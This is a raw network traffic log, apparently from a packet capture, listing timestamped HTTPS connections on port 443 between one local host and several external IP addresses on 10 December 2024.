Dec 10, 2024 15:09:45.282217979 CET	443	49787	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:45.282529116 CET	49787	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:45.282582998 CET	443	49787	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:45.282690048 CET	49787	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:45.327333927 CET	443	49787	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:45.339046001 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:45.339098930 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:45.339204073 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:45.339426041 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:45.339442968 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:46.822087049 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:46.822429895 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:46.822463036 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:46.823470116 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:46.823544979 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:46.824582100 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:46.824635983 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:46.824842930 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:46.824850082 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:46.866077900 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:47.094883919 CET	443	49787	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:47.095004082 CET	443	49787	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:47.095056057 CET	49787	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:47.095951080 CET	49787	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:47.095971107 CET	443	49787	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:47.238646984 CET	49789	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:47.238678932 CET	443	49789	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:47.238768101 CET	49789	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:47.239114046 CET	49789	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:47.239128113 CET	443	49789	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:47.288666010 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:47.289072990 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:47.289146900 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:47.289172888 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:47.334899902 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:47.334919930 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:47.337502956 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:47.337573051 CET	443	49788	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:47.337639093 CET	49788	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:47.338413000 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:47.338443041 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:47.338522911 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:47.338735104 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:47.338745117 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:48.448903084 CET	443	49789	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:48.449258089 CET	49789	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:48.449273109 CET	443	49789	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:48.450345993 CET	443	49789	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:48.450417042 CET	49789	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:48.450740099 CET	49789	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:48.450752020 CET	49789	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:48.450803041 CET	49789	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:48.450830936 CET	443	49789	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:48.450877905 CET	49789	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:48.451160908 CET	49791	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:48.451186895 CET	443	49791	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:48.451246977 CET	49791	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:48.451456070 CET	49791	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:48.451466084 CET	443	49791	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:48.588257074 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:48.588599920 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:48.588627100 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:48.589663982 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:48.589729071 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:48.590061903 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:48.590121984 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:48.590230942 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:48.590239048 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:48.631184101 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.058818102 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.059489012 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.059545040 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.059565067 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.100620031 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.100640059 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.142695904 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.254607916 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.254620075 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.254646063 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.254652977 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.254682064 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.254697084 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.254719973 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.254745007 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.254779100 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.269129038 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.269236088 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.269248009 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.269679070 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.269722939 CET	443	49790	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.269768000 CET	49790	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.280850887 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.280903101 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.280972958 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.281239033 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.281276941 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.281336069 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.281474113 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.281491041 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.281625986 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:49.281636000 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:49.420116901 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:49.420171022 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:49.420257092 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:49.420464993 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:49.420480967 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:49.662895918 CET	443	49791	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:49.663250923 CET	49791	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:49.663269043 CET	443	49791	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:49.664345980 CET	443	49791	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:49.664414883 CET	49791	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:49.664828062 CET	49791	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:49.664879084 CET	443	49791	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:49.664989948 CET	49791	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:49.664995909 CET	443	49791	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:49.709472895 CET	49791	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:50.321311951 CET	443	49791	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:50.321433067 CET	443	49791	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:50.321482897 CET	49791	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:50.322705984 CET	49791	443	192.168.2.4	104.21.112.1
Dec 10, 2024 15:09:50.322724104 CET	443	49791	104.21.112.1	192.168.2.4
Dec 10, 2024 15:09:50.504000902 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:50.504800081 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:50.504827976 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:50.505225897 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:50.505822897 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:50.505892038 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:50.506390095 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:50.506419897 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:50.736464024 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:50.736898899 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:50.736916065 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:50.737962008 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:50.738039970 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:50.738348961 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:50.738403082 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:50.738580942 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:50.738589048 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:50.792545080 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:50.943916082 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.005497932 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.005532026 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.056798935 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.135281086 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.135293961 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.135379076 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.135396957 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.135441065 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.157291889 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.157351971 CET	443	49793	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.157418013 CET	49793	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.176204920 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.199280024 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.214920998 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.214939117 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.216279984 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.216334105 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.217391014 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.217487097 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.217586040 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.217592001 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.218188047 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.218195915 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.264786005 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.264803886 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.363981009 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.364032984 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.364094973 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.364757061 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.364769936 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.367616892 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.419419050 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.419435024 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.422225952 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.422333002 CET	443	49792	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.422384977 CET	49792	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.431926012 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.431978941 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.432229042 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.432524920 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:51.432542086 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:51.712973118 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.758290052 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.794812918 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.794831038 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.794847012 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.794881105 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.794888020 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.794945002 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.794965982 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.795013905 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.795018911 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.797185898 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.940397024 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.940407991 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.940432072 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.940452099 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.940505028 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.940530062 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.940561056 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.940579891 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.985613108 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.985631943 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.985744953 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:51.985763073 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:51.985812902 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.115746021 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.115766048 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.115833044 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.115849972 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.115892887 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.150773048 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.150815010 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.150911093 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.150926113 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.150968075 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.173595905 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.173613071 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.173703909 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.173712969 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.173755884 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.194740057 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.194757938 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.194838047 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.194849968 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.194892883 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.304346085 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.304367065 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.304462910 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.304482937 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.304527044 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.314456940 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.314488888 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.314526081 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.314531088 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.314574003 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.314574957 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.314620972 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.314810038 CET	49794	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.314826012 CET	443	49794	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.345973969 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.346009016 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.346079111 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.346532106 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.346545935 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.367734909 CET	49798	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.367774010 CET	443	49798	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.367858887 CET	49798	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.368712902 CET	49798	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.368727922 CET	443	49798	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.369316101 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.369328022 CET	443	49799	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.369407892 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.369628906 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.369638920 CET	443	49799	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.463881969 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.463915110 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.463989973 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.464246988 CET	49800	443	192.168.2.4	152.199.21.175
Dec 10, 2024 15:09:52.464260101 CET	443	49800	152.199.21.175	192.168.2.4
Dec 10, 2024 15:09:52.593524933 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.593852043 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.593883991 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.594857931 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.594930887 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.595253944 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.595309019 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.595393896 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.595402956 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.648785114 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.653371096 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.653626919 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.653652906 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.654623032 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.654690981 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.654983044 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.655039072 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.655128002 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:52.655134916 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:52.709767103 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.037059069 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.037555933 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.037625074 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.037642002 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.037693024 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.038358927 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.038398027 CET	443	49795	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.038461924 CET	49795	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.092719078 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.146539927 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.330409050 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.380374908 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.380402088 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.384979010 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.385054111 CET	443	49796	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.385122061 CET	49796	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.566360950 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.581254005 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.581270933 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.582329988 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.582417965 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.583118916 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.583183050 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.583333969 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.583343029 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.588818073 CET	443	49798	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.589014053 CET	49798	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.589034081 CET	443	49798	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.589399099 CET	443	49798	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.590297937 CET	443	49799	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.595825911 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.595837116 CET	443	49799	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.596715927 CET	443	49799	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.596785069 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.598884106 CET	49798	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.598953962 CET	443	49798	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.599267960 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.599338055 CET	443	49799	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.599463940 CET	49798	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.599486113 CET	443	49798	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.599618912 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.599627972 CET	443	49799	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:53.631937027 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:53.648345947 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.078047037 CET	443	49799	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.096568108 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.097070932 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.097116947 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.097141981 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.132447004 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.132471085 CET	443	49799	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.136373997 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.136441946 CET	443	49799	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.136495113 CET	49799	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.148166895 CET	49797	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.148178101 CET	443	49797	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.183093071 CET	49798	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.183207989 CET	443	49798	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:54.183257103 CET	49798	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:54.196983099 CET	49797	443	192.168.2.4	34.200.203.57
